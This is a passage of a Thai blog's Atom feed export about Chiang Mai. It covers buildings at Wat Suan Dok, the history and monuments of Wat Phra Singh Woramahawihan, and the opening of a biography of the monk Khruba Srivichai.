๖.&amp;nbsp; &amp;nbsp; อาคารเรียนมหาวิทยาลัยมหาจุฬาลงกรณ์ราชวิทยาลัย วิทยาเขตเชียงใหม่ อาคาร ช้อย&amp;nbsp; นันทาภิวัฒน์&amp;nbsp; (อาคาร2)&amp;nbsp; &amp;nbsp; &amp;nbsp; เป็นอาคาร 4 ชั้น กว้าง 10 เมตร&amp;nbsp; ยาว 40 เมตรสร้างเสร็จเมื่อพ.ศ.2538&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
๗.&amp;nbsp; อาคารสถาบันวิทยาบริการ( อาคาร ธีระศักดิ์ ไพโรจน์สถาพร)&amp;nbsp; เป็นอาคารแบบ 3 หลัง สร้างเมื่อปีพ.ศ.2539&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
๘.&amp;nbsp; &amp;nbsp; ศาลาอเนกประสงค์สมโภชนครเชียงใหม่ 700 ปี&amp;nbsp; เป็นอาคาร&amp;nbsp; 2&amp;nbsp; ชั้น ขนาดกว้าง 8&amp;nbsp; เมตร ยาว&amp;nbsp; 30&amp;nbsp; เมตร&amp;nbsp; &amp;nbsp; สร้างเมื่อพ.ศ. 2538&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
๙.&amp;nbsp; กุฏิสงฆ์&amp;nbsp; &amp;nbsp; &amp;nbsp; สร้างขึ้นในบริเวณวัดเพื่อเป็นที่พักของพระสงฆ์มีจำนวนทั้งสิ้น 21 หลังกุฏิสงฆ์&amp;nbsp; มีลักษณะพิเศษคือ ศาลาฝาไหลซึ่งเป็นเอกลักษณ์ของภาคเหนือ&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;img id=&quot;imgThumb&quot; src=&quot;http://www.thaitravelcommunity.com/travelcommunity/index.php?action=dlattach;topic=82.0;attach=2067;image&quot; width=&quot;400&quot; /&gt;</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/6498817851938784124/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_7459.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/6498817851938784124'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/6498817851938784124'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_7459.html' title='วัดสวนดอก'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-7481441779690976336</id><published>2011-04-27T17:16:00.002+07:00</published><updated>2011-04-27T17:16:13.463+07:00</updated><title type='text'>วัดพระสิงห์วรมหาวิหาร</title><content type='html'>&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;span lang=&quot;TH&quot; style=&quot;color: blue; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 20pt;&quot;&gt;ประวัติวัดพระสิงห์วรมหาวิหาร &lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;color: blue; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 20pt;&quot;&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 10pt;&quot;&gt;&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/span&gt;&lt;span lang=&quot;TH&quot; style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 16pt;&quot;&gt;ตำบลพระสิงห์ เขต &lt;/span&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 16pt;&quot;&gt;1 &lt;span lang=&quot;TH&quot;&gt;อำเภอเมืองเชียงใหม่ จังหวัดเชียงใหม่ วัดพระสิงห์ วรมหาวิหาร เป็นพระอารามหลวงชั้นเอก ชนิด วรมหาวิหาร ตั้งอยู่ ณ เลขที่ &lt;/span&gt;2 &lt;span lang=&quot;TH&quot;&gt;ถนนสามล้าน ตำบลพระสิงห์ เขต &lt;/span&gt;1 &lt;span lang=&quot;TH&quot;&gt;อำเภอเมืองเชียงใหม่ จังหวัดเชียงใหม่&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;span lang=&quot;TH&quot;&gt;ลักษณะพื้นที่ ของวัดเป็นรูปสี่เหลี่ยมมีถนนล้อมรอบทั้งสี่ด้าน เขตพุทธาวาสอยู่ส่วนกลางของวัด รอบเขตพุทธาวาสเป็นสนามหญ้า ลานคอนกรีต และไม้ยืนต้น และมี อาคารเรียนโรงเรียนธรรมราชศึกษา อาคารเฉลิมพระเกียรติ อาคารพระธรรมสิทธาจารย์ อาคารเรียนพระปริยัติธรรม ศาลาสมเด็จกิตติโสภณ และศาลาสหัส - หงส์ มหาคุณ อนุสรณ์ ตั้งอยู่รอบเขตพุทธาวาส ส่วนเขตสังฆาวาสมีถนนซอยและกุฏิสงฆ์สร้างเรียงกันอย่างเป็นระเบียบ แบ่งเป็นคณะปกครอง ซึ่งปัจจุบันมีการปกครองทั้งสิ้น &lt;/span&gt;7 &lt;span lang=&quot;TH&quot;&gt;คณะ&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 10pt;&quot;&gt; &lt;br /&gt;
&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;/span&gt;&lt;strong&gt;&lt;span lang=&quot;TH&quot; style=&quot;color: blue; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 20pt;&quot;&gt;ประวัติวัดพระสิงห์วรมหาวิหาร&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 10pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span lang=&quot;TH&quot; style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 16pt;&quot;&gt;วัดพระสิงห์ วรมหาวิหาร เป็นพระอารามที่พระเจ้าผายูทรงสถาปนาขึ้น เมื่อพุทธศักราช &lt;/span&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 16pt;&quot;&gt;1888 &lt;span lang=&quot;TH&quot;&gt;เดิมเรียกว่าวัดลีเชียง เหตุที่เรียกชื่อนี้เพราะสมัยก่อนนั้นที่หน้าวัดเป็นท้องสนามกว้างเป็นที่ตั้งของตลาดเมือง ประชาชนต่างมาประชุมซื้อขายสินค้ากันภายในบริเวณนี้ คำว่าตลาด เดิมเรียกว่า ลี และคำว่าเมือง เรียกว่า เชียง จึงเป็นเหตุให้เรียกชื่อพระอารามที่พระเจ้าผายูทรงสถาปนาขึ้นนี้ว่าวัดลีเชียงไปด้วย&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;span lang=&quot;TH&quot;&gt;จากนั้นประมาณ พ.ศ. &lt;/span&gt;1943 &lt;span lang=&quot;TH&quot;&gt;เจ้ามหาพรหม ได้อัญเชิญพระพุทธสิหิงค์มาจากกำแพงเพชร มีพระประสงค์ที่จะนำไปถวายแด่พระเจ้าแสนเมืองมา และพระเจ้าแสนเมืองมาเมื่อทรงรับแล้วมีพระราชประสงค์ที่จะอัญเชิญไปประดิษฐานที่วัดบุปผาราม&lt;/span&gt; (&lt;span lang=&quot;TH&quot;&gt;วัดสวนดอก (พระอารามหลวง) ในปัจจุบัน)&lt;/span&gt; &lt;/span&gt;&lt;strong&gt;&lt;span style=&quot;color: blue; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 10pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span lang=&quot;TH&quot; style=&quot;color: blue; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 20pt;&quot;&gt;ยกฐานะเป็นพระอารามหลวง&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 10pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span lang=&quot;TH&quot; style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 16pt;&quot;&gt;มาถึงรัชสมัยของพระบาทสมเด็จพระเจ้าอยู่หัวอานันทมหิดล รัชกาลที่ &lt;/span&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 16pt;&quot;&gt;8 &lt;span lang=&quot;TH&quot;&gt;แห่งพระบรมราชวงศ์จักรี ทรงพระกรุณาโปรดให้ประกาศยกฐานะวัดพระสิงห์ จากวัดราษฎร์ ขึ้นเป็นพระอารามหลวงชั้นเอก ชนิดวรมหาวิหาร เมื่อวันอาทิตย์ ที่ &lt;/span&gt;30 &lt;span lang=&quot;TH&quot;&gt;เดือน พฤศจิกายน พ.ศ. &lt;/span&gt;2483 &lt;span lang=&quot;TH&quot;&gt;จึงได้นามเพิ่มในทางราชการว่า วัดพระสิงห์ วรมหาวิหาร&lt;/span&gt; &lt;/span&gt;&lt;strong&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 10pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span lang=&quot;TH&quot; style=&quot;color: blue; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 20pt;&quot;&gt;ปูชนียวัตถุและถาวรวัตถุ&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 10pt;&quot;&gt; &lt;/span&gt;&lt;/strong&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 10pt;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;span style=&quot;color: #665e96; font-family: &amp;quot;Microsoft Sans Serif&amp;quot;; font-size: 16pt;&quot;&gt;1. &lt;span lang=&quot;TH&quot;&gt;พระพุทธสิหิงค์ หรือพระสิงห์ เป็นพระพุทธรูปหล่อสำริดลงรักปิดทอง หน้าตักกว้าง &lt;/span&gt;&lt;metricconverter productid=&quot;1 เมตร&quot; w:st=&quot;on&quot;&gt;1 &lt;span lang=&quot;TH&quot;&gt;เมตร&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; สกุลช่างแบบเชียงแสน สร้างขึ้นในสมัยพุทธศตวรรษที่ &lt;/span&gt;8 &lt;span lang=&quot;TH&quot;&gt;หรือประมาณ พ.ศ. &lt;/span&gt;700 &lt;br /&gt;
&lt;br /&gt;
2. &lt;span lang=&quot;TH&quot;&gt;พระเจ้าทองทิพย์ หรือ พระสิงห์น้อย พระเจ้าติโลกราช กษัตริย์องค์ที่ &lt;/span&gt;12 &lt;span lang=&quot;TH&quot;&gt;แห่งราชวงศ์มังราย โปรดให้สร้างขึ้น พ.ศ. &lt;/span&gt;2020 &lt;span lang=&quot;TH&quot;&gt;หน้าตัก &lt;/span&gt;&lt;metricconverter productid=&quot;14.5 นิ้ว&quot; w:st=&quot;on&quot;&gt;14.5 &lt;span lang=&quot;TH&quot;&gt;นิ้ว&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; สูง &lt;/span&gt;&lt;metricconverter productid=&quot;21 นิ้ว&quot; w:st=&quot;on&quot;&gt;21 &lt;span lang=&quot;TH&quot;&gt;นิ้ว&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; หนัก &lt;/span&gt;&lt;metricconverter productid=&quot;27 กิโลกรัม&quot; w:st=&quot;on&quot;&gt;27 &lt;span lang=&quot;TH&quot;&gt;กิโลกรัม&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; ฝังอัญมณีมีค่าต่างๆ รอบฐาน&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
3. &lt;span lang=&quot;TH&quot;&gt;พระอุโบสถ มีรูปลักษณะเป็นแบบพิเศษ แตกต่างกับอุโบสถโดยทั่วไป เรียกว่าอุโบสถสองสงฆ์ พระอุโบสถเป็นโบราณสถานเก่าแก่ พระยาแสนเมืองมา กษัตริย์องค์ที่ &lt;/span&gt;10 &lt;span lang=&quot;TH&quot;&gt;แห่งราชวงศ์มังรายทรงสร้างไว้ ประมาณ พ.ศ. &lt;/span&gt;1931 - 1954 &lt;span lang=&quot;TH&quot;&gt;และได้รับการบูรณปฏิสังขรณ์เรื่อยมาตามลำดับ&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
4. &lt;span lang=&quot;TH&quot;&gt;พระวิหารหลวง เป็นสถาปัตยกรรมลานนา ขนาดกว้าง &lt;/span&gt;&lt;metricconverter productid=&quot;24 เมตร&quot; w:st=&quot;on&quot;&gt;24 &lt;span lang=&quot;TH&quot;&gt;เมตร&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; ยาว &lt;/span&gt;&lt;metricconverter productid=&quot;46 เมตร&quot; w:st=&quot;on&quot;&gt;46 &lt;span lang=&quot;TH&quot;&gt;เมตร&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; พระวิหารหลวงหลังเดิมชำรุดทรุดโทรมไปจนไม่สามารถที่จะบูรณปฏิสังขรณ์ได้ จนถึง พ.ศ.&lt;/span&gt; 2467 - 2468 &lt;span lang=&quot;TH&quot;&gt;ท่านครูบาศรีวิชัย สิริวิชโย ร่วมกับ พลตรีเจ้าแก้วนวรัฐ เจ้าหลวงเชียงใหม่องค์ที่ &lt;/span&gt;9 &lt;span lang=&quot;TH&quot;&gt;ร่วมกับประชาชนทุกหมู่เหล่า ร่วมกันสร้างขึ้นใหม่แทนหลังเดิม&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
5. &lt;span lang=&quot;TH&quot;&gt;พระวิหารลายคำ เป็นสถาปัตยกรรมลานนาไทย ขนาดกว้าง &lt;/span&gt;&lt;metricconverter productid=&quot;8 เมตร&quot; w:st=&quot;on&quot;&gt;8 &lt;span lang=&quot;TH&quot;&gt;เมตร&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; ยาว &lt;/span&gt;&lt;metricconverter productid=&quot;30 เมตร&quot; w:st=&quot;on&quot;&gt;30 &lt;span lang=&quot;TH&quot;&gt;เมตร&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; สร้างแต่สมัยราชวงศ์มังราย และได้รับการบูรณปฏิสังขรณ์เรื่อยมาตามลำดับ&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
6. &lt;span lang=&quot;TH&quot;&gt;หอพระไตรปิฎก พระเจ้ากาวิละ เจ้าหลวงเชียงใหม่องค์ที่ &lt;/span&gt;1 &lt;span lang=&quot;TH&quot;&gt;โปรดให้สร้างขึ้นเมื่อ พ.ศ. &lt;/span&gt;2354 &lt;br /&gt;
&lt;br /&gt;
7. &lt;span lang=&quot;TH&quot;&gt;พระมหาเจดีย์ หรือ พระธาตุหลวง สูง &lt;/span&gt;25 &lt;span lang=&quot;TH&quot;&gt;วา ฐานสี่เหลี่ยมยาวด้านละ &lt;/span&gt;16 &lt;span lang=&quot;TH&quot;&gt;วา &lt;/span&gt;1 &lt;span lang=&quot;TH&quot;&gt;ศอก &lt;/span&gt;&lt;metricconverter productid=&quot;6 นิ้ว&quot; w:st=&quot;on&quot;&gt;6 &lt;span lang=&quot;TH&quot;&gt;นิ้ว&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; พระเจ้าผายูโปรดให้สร้างขึ้น พ.ศ. &lt;/span&gt;1888 &lt;span lang=&quot;TH&quot;&gt;และครูบาศรีวิชัยได้บูรณปฏิสังขรณ์ใน พ.ศ. &lt;/span&gt;2469 &lt;br /&gt;
&lt;br /&gt;
8. &lt;span lang=&quot;TH&quot;&gt;กู่ลาย ตั้งอยู่หลังพระวิหารลายคำ เป็นเจดีย์ทรงปราสาท มี &lt;/span&gt;5 &lt;span lang=&quot;TH&quot;&gt;ยอด มีทางเชื่อมจากผนังด้านหลังพระวิหารลายคำเข้าสู่อุโมงค์ของกู่ลาย เป็นสถาปัตยกรรมแบบดั้งเดิมของลานนา&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
9. &lt;span lang=&quot;TH&quot;&gt;กู่อัฐิพระยาคำฟู พระเจ้าผายู พระราชโอรส ได้นำพระอัฐิและพระอังคารมาบรรจุไว้ที่บริเวณนี้ เมื่อ พ.ศ. &lt;/span&gt;1888 &lt;span lang=&quot;TH&quot;&gt;และเพื่อไม่ให้เป็นเสียเวลาจึงทรงโปรดสถาปนาพระอารามนี้ขึ้นด้วย&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
10. &lt;span lang=&quot;TH&quot;&gt;พระวิหารพระพุทธไสยาสน์ หรือพระวิหารพระนอน สร้างขึ้นประมาณ พ.ศ. &lt;/span&gt;2094 &lt;span lang=&quot;TH&quot;&gt;และได้รับการบูรณปฏิสังขรณ์มาเป็นลำดับ&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
11. &lt;span lang=&quot;TH&quot;&gt;หอพระไตรปิฏกหลังใหม่ ตั้งอยู่ใกล้พระเจดีย์ด้านทิศตะวันตกเฉียงเหนือ สร้างเมื่อวันที่ &lt;/span&gt;10 &lt;span lang=&quot;TH&quot;&gt;สิงหาคม พ.ศ.&lt;/span&gt; 2469 &lt;span lang=&quot;TH&quot;&gt;สร้างในสมัยของพลตรีเจ้าแก้วนวรัฐ ผู้บริจาคทรัพย์ในการก่อสร้างคือ หลวงอนุสารสุนทร และนางอนุสาน ชัวย่งเสง&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
12. &lt;span lang=&quot;TH&quot;&gt;ศาลาสมเด็จกิตติโสภณ เป็นอาคารทรงไทย กว้าง &lt;/span&gt;5 &lt;span lang=&quot;TH&quot;&gt;วา &lt;/span&gt;2 &lt;span lang=&quot;TH&quot;&gt;ศอก ยาว &lt;/span&gt;10 &lt;span lang=&quot;TH&quot;&gt;วา &lt;/span&gt;2 &lt;span lang=&quot;TH&quot;&gt;ศอก สูง &lt;/span&gt;6 &lt;span lang=&quot;TH&quot;&gt;วา สร้าง พ.ศ. &lt;/span&gt;2492 &lt;span lang=&quot;TH&quot;&gt;โดยทุนเริ่มต้นจากการถวายผ้าพระกฐินพระราชทาน โดยการนำของ เจ้าพระคุณสมเด็จพระอริยวงศาคตญาณ สมเด็จพระสังฆราช สกลมหาสังฆปริณายก (ปลด กิตฺติโสภณมหาเถร ป.ธ. &lt;/span&gt;9) &lt;span lang=&quot;TH&quot;&gt;วัดเบญจมบพิตรดุสิตวนาราม และศาลาหลังนี้สร้างเป็นอนุสรณ์ของสมเด็จพระสังราช พระองค์นี้ด้วย&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
13. &lt;span lang=&quot;TH&quot;&gt;ศาลาสหัส - หงส์ มหาคุณ อนุสรณ์ เป็นศาลาทรงไทย &lt;/span&gt;2 &lt;span lang=&quot;TH&quot;&gt;ชั้น กว้าง &lt;/span&gt;&lt;metricconverter productid=&quot;13 เมตร&quot; w:st=&quot;on&quot;&gt;13 &lt;span lang=&quot;TH&quot;&gt;เมตร&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; ยาว &lt;/span&gt;&lt;metricconverter productid=&quot;38 เมตร&quot; w:st=&quot;on&quot;&gt;38 &lt;span lang=&quot;TH&quot;&gt;เมตร&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; สูง &lt;/span&gt;&lt;metricconverter productid=&quot;22 เมตร&quot; w:st=&quot;on&quot;&gt;22 &lt;span lang=&quot;TH&quot;&gt;เมตร&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; สร้าง พ.ศ. &lt;/span&gt;2513 &lt;span lang=&quot;TH&quot;&gt;ด้วยเงินบริจาคของบริษัทสุรามหาคุณ จำกัด&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
14. &lt;span lang=&quot;TH&quot;&gt;อาคารพระธรรมสิทธาจารย์ เป็นอาคารรูปตัวแอล (&lt;/span&gt;L) &lt;span lang=&quot;TH&quot;&gt;สูง &lt;/span&gt;5 &lt;span lang=&quot;TH&quot;&gt;ชั้น กว้าง &lt;/span&gt;&lt;metricconverter productid=&quot;11 เมตร&quot; w:st=&quot;on&quot;&gt;11 &lt;span lang=&quot;TH&quot;&gt;เมตร&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; ยาว &lt;/span&gt;&lt;metricconverter productid=&quot;76 เมตร&quot; w:st=&quot;on&quot;&gt;76 &lt;span lang=&quot;TH&quot;&gt;เมตร&lt;/span&gt;&lt;/metricconverter&gt;&lt;span lang=&quot;TH&quot;&gt; พระเดชพระคุณ พระธรรมสิทธาจารย์ ร่วมกับคณะศรัทธาประชาชนร่วมกันสร้างเมื่อ พ.ศ. &lt;/span&gt;2539 &lt;br /&gt;
&lt;br /&gt;
15. &lt;span lang=&quot;TH&quot;&gt;โรงเรียนธรรมราชศึกษา เป็นโรงเรียนการกุศลของวัดในพระพุทธศาสนา ก่อตั้งขึ้นเมื่อ พ.ศ. &lt;/span&gt;2503 &lt;span lang=&quot;TH&quot;&gt;โดยพระเดชพระคุณ พระอุบาลีคุณูปมาจารย์ (ฟู อตฺตสิโว ป.ธ. &lt;/span&gt;6) &lt;span lang=&quot;TH&quot;&gt;ครั้งดำรงสมณศักดิ์ที่ พระธรรมราชานุวัตร เป็นองค์ผู้ก่อตั้ง ปัจจุบันมีอาคารเรียน &lt;/span&gt;3 &lt;span lang=&quot;TH&quot;&gt;หลัง และมีอาคารห้องสมุด &lt;/span&gt;1 &lt;span lang=&quot;TH&quot;&gt;หลัง และโรงอาหาร &lt;/span&gt;1 &lt;span lang=&quot;TH&quot;&gt;หลัง&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 16pt;&quot;&gt; &lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/7481441779690976336/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_1291.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/7481441779690976336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/7481441779690976336'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/04/blog-post_1291.html' title='วัดพระสิงห์วรมหาวิหาร'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-6370698180446007038</id><published>2011-04-27T17:14:00.000+07:00</published><updated>2011-04-27T17:14:04.429+07:00</updated><title type='text'>ครูบาศรีวิชัย นักบุญแห่งล้านนาไทย</title><content type='html'>&lt;strong&gt;ประวัติย่อครูบาศรีวิชัย พระนักบุญ (ต๋นบุญ) แห่งล้านนาไทย &lt;br /&gt;
ครูบาศรีวิชัย &lt;/strong&gt;ซึ่งเป็นที่รู้จักกันทั่วไปโดยเฉพาะในเขตล้านนาว่าเป็น &quot;ตนบุญ&quot; หรือ &quot;นักบุญ&quot; อันมีความหมายเชิงยกย่องว่าเป็นนักบวชที่มีคุณสมบัติพิเศษ อาจพบว่ามีการเรียกอีกว่า ครูบาเจ้าศรีวิชัย พระครูบาศรีวิชัย ครูบาศีลธรรม หรือ&amp;nbsp; ตุ๊เจ้าสิริ (อ่าน&quot;ตุ๊เจ้าสิลิ&quot;) แต่พบว่าท่านมักเรียกตนเองเป็น พระชัยยาภิกขุ หรือ พระศรีวิชัยชนะภิกขุ เดิมชื่อเฟือนหรืออินท์เฟือนบ้างก็ว่าอ้ายฟ้าร้อง เนื่องจากในขณะที่ท่านถือกำเนิดนั้นปรากฏฝนฟ้าคะนองอย่างหนัก ส่วนอินท์เฟือนนั้น หมายถึง การเกิดกัมปนาทหวั่นไหวถึงสวรรค์หรือเมืองของพระอินทร์ ท่านเกิดในปีขาล เดือน ๙ เหนือ(เดือน ๗ของภาคกลาง) ขึ้น ๑๑ ค่ำ จ.ศ.๑๒๔๐ เวลาพลบค่ำ ตรงกับวันอังคารที่ ๑๑ เดือนมิถุนายน พ.ศ.๒๔๒๑ ที่หมู่บ้านชื่อ &quot;บ้านปาง&quot; ตำบลแม่ตืน อำเภอลี้ จังหวัดลำพูน ท่านเป็นบุตรของนายควาย นางอุสา มีพี่น้องทั้งหมด ๕ คน มีชื่อตามลำดับ คือ ๑. นายไหว ๒. นางอวน ๓. นายอินท์เฟือน(ครูบาศรีวิชัย) ๔. นางแว่น ๕. นายทา &lt;br /&gt;
&lt;br /&gt;
ทั้งนี้นายควายบิดาของท่านได้ติดตามผู้เป็นตาคือ หมื่นปราบ (ผาบ) ซึ่งมีอาชีพเป็นหมอคล้องช้างของเจ้าหลวงดาราดิเรกฤทธิ์ไพโรจน์(เจ้าผู้ครองนครลำพูนองค์ที่ ๗ ช่วง พ.ศ.๒๔๑๔-๒๔๓๑)ไปตั้งครอบครัวบุกเบิกที่ทำกินอยู่ที่บ้านปาง บ้านเดิมของนายควายอยู่ที่บ้านสันป่ายางหลวง ทางด้านเหนือของตัวเมืองลำพูน &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ในสมัยที่ครูบาศรีวิชัยหรือนายอินท์เฟือนยังเป็นเด็กอยู่นั้น หมู่บ้านดังกล่าวยังกันดารมากมีชน กลุ่มน้อยอาศัยอยู่มากโดยเฉพาะชาว ปกาเกอญอ (กะเหรี่ยง) ในช่วงนั้นบ้านปางยังไม่มีวัดประจำหมู่บ้าน จนกระทั่งเมื่อนายอินท์เฟือนมีอายุได้ ๑๗ ปีได้มีพระภิกษุรูปหนึ่งชื่อ ครูบาขัติยะ (ชาวบ้านเรียกว่า ครูบาแฅ่งแฅะ เพราะท่านเดินขากะเผลก) เดินธุดงค์จากบ้านป่าซางผ่านมาถึงหมู่บ้านนั้น ชาวบ้านจึงนิมนต์ท่านให้อยู่ประจำที่บ้านปาง แล้วชาวบ้านก็ช่วยกันสร้างกุฏิชั่วคราวให้ท่านจำพรรษา ในช่วงนั้น เด็กชายอินท์เฟือนได้ฝากตัวเป็นศิษย์ และเมื่ออายุได้ ๑๘ ปีก็ได้บรรพชาเป็นสามเณรที่ อารามแห่งนี้โดยมีครูบาขัติยะเป็นพระอุปัชฌาย์ ๓ ปีต่อมา (พ.ศ. ๒๔๔๒) เมื่อสามเณรอินท์เฟือนมีอายุย่างเข้า ๒๑ ปี ก็ได้เข้าอุปสมบทในอุโบสถวัดบ้านโฮ่งหลวง อำเภอบ้านโฮ่งจังหวัดลำพูน โดยมีครูบาสมณะวัดบ้านโฮ่งหลวงเป็นพระอุปัชฌาย์ ได้รับนามฉายาในการอุปสมบทว่า สิริวิชโยภิกฺขุ มีนามบัญญัติว่า พระศรีวิชัย ซึ่งบางครั้งก็พบว่าเขียนเป็น สรีวิไชย สีวิไช หรือ สรีวิชัย &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
เมื่ออุปสมบทแล้ว สิริวิชโยภิกขุก็กลับมาจำพรรษาที่อารามบ้านปางอีก ๑ พรรษา จากนั้นได้ไปศึกษากัมมัฏฐานและวิชาอาคมกับครูบาอุปละ วัดดอยแต อำเภอแม่ทา จังหวัดลำพูน ต่อมาได้ไปฝากตัวเป็นศิษย์ของครูบาวัดดอยคำอีกด้วย และอีกท่านหนึ่งที่ถือว่าเป็นครูของครูบาศรีวิชัยคือครูบาสมณะ วัดบ้านโฮ่งหลวงซึ่งเป็นพระอุปฌาย์ของท่าน &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
